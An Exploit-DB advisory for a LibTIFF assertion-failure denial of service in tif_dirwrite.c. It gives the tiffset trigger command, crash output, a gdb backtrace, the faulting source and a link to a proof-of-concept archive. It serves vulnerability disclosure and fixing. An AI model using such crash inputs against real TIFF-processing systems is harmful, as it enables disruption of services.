Exploit-DB #42299
Description: LibTIFF - 'tif_dirwrite.c' Denial of Service
Type: dos
Platform: linux
Date: 2017-07-06
Author: team OWL337

Exploit:
Source: http://bugzilla.maptools.org/show_bug.cgi?id=2712

Triggered by  "./tiffset POC1"

$ ./tiffset POC1
TIFFReadDirectory: Warning, Unknown field with tag 302 (0x12e) encountered.
TIFFReadDirectory: Warning, Unknown field with tag 61961 (0xf209) encountered.
poc3: AdobeDeflate compression support is not configured.
tiffset: tif_dirwrite.c:2127: int TIFFWriteDirectoryTagCheckedLong8Array(TIFF
*, uint32 *, TIFFDirEntry *, uint16, uint32, uint64 *): Assertion
`tif->tif_flags&TIFF_BIGTIFF' failed.
Aborted

The gdb debugging information is listed below:
(gdb) set args POC1
(gdb) r
...
(gdb) c
Continuing.
TIFFReadDirectory: Warning, Unknown field with tag 302 (0x12e) encountered.
TIFFReadDirectory: Warning, Unknown field with tag 61961 (0xf209) encountered.
poc2: AdobeDeflate compression support is not configured.

Breakpoint 2, TIFFWriteDirectoryTagCheckedLong8Array (tif=<optimized out>,
ndir=<optimized out>, count=1, 
    value=0x615c20, dir=<optimized out>, tag=<optimized out>) at
tif_dirwrite.c:2127
2127        assert(tif->tif_flags&TIFF_BIGTIFF);
(gdb) bt
#0  0x00007ffff746a428 in __GI_raise (sig=sig@entry=6) at
../sysdeps/unix/sysv/linux/raise.c:54
#1  0x00007ffff746c02a in __GI_abort () at abort.c:89
#2  0x00007ffff7462bd7 in __assert_fail_base (fmt=<optimized out>, 
    assertion=assertion@entry=0x7ffff7baf949 "tif->tif_flags&TIFF_BIGTIFF", 
    file=file@entry=0x7ffff7baf5c0 "tif_dirwrite.c", line=line@entry=2127, 
    function=function@entry=0x7ffff7baf8e2 "int
TIFFWriteDirectoryTagCheckedLong8Array(TIFF *, uint32 *, TIFFDirEntry *,
uint16, uint32, uint64 *)") at assert.c:92
#3  0x00007ffff7462c82 in __GI___assert_fail (assertion=0x7ffff7baf949
"tif->tif_flags&TIFF_BIGTIFF", 
    file=0x7ffff7baf5c0 "tif_dirwrite.c", line=2127, 
    function=0x7ffff7baf8e2 "int TIFFWriteDirectoryTagCheckedLong8Array(TIFF *,
uint32 *, TIFFDirEntry *, uint16, uint32, uint64 *)") at assert.c:101
#4  0x00007ffff7b4e9cb in TIFFWriteDirectoryTagCheckedLong8Array (tif=0x615010,
ndir=<optimized out>, count=1, 
    value=0x615c20, dir=<optimized out>, tag=<optimized out>) at
tif_dirwrite.c:2127
#5  TIFFWriteDirectoryTagLong8Array (count=1, value=0x615c20, tif=<optimized
out>, ndir=<optimized out>, 
    dir=<optimized out>, tag=<optimized out>) at tif_dirwrite.c:1462
#6  TIFFWriteDirectorySec (tif=<optimized out>, isimage=<optimized out>,
imagedone=<optimized out>, 
    pdiroff=<optimized out>) at tif_dirwrite.c:746
#7  0x00007ffff7b4f6b5 in TIFFWriteDirectory (tif=0x615010) at
tif_dirwrite.c:184
#8  TIFFRewriteDirectory (tif=<optimized out>) at tif_dirwrite.c:360
#9  0x[PII_REDACTED]402bc7 in main (argc=<optimized out>, argv=<optimized out>) at
tiffset.c:344

Trigged in line tif_dirwrite.c:2127 at function
TIFFWriteDirectoryTagCheckedLong8Array()
2122 static int
2123 TIFFWriteDirectoryTagCheckedLong8Array(TIFF* tif, uint32* ndir,
TIFFDirEntry* dir, uint16 tag, uint32 count, uint64*      value)
2124 {       
2125         assert(count<0x20000000);
2126         assert(sizeof(uint64)==8);
2127         assert(tif->tif_flags&TIFF_BIGTIFF);
2128         if (tif->tif_flags&TIFF_SWAB)
2129                 TIFFSwabArrayOfLong8(value,count);
2130        
return(TIFFWriteDirectoryTagData(tif,ndir,dir,tag,TIFF_LONG8,count,count*8,value));
2131 }

[note]: Tiffset sets the value of a TIFF header to a specified value.It will
modify the raw POC file,so you'd better make a backup file every time you are
going to run.

Credits:

This vulnerability is detected by team OWL337, with our custom fuzzer collAFL.
Please contact ganshuitao@gmail.com   and chaoz@tsinghua.edu.cn if you need
more info about the team, the tool or the vulnerability.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/42299.zip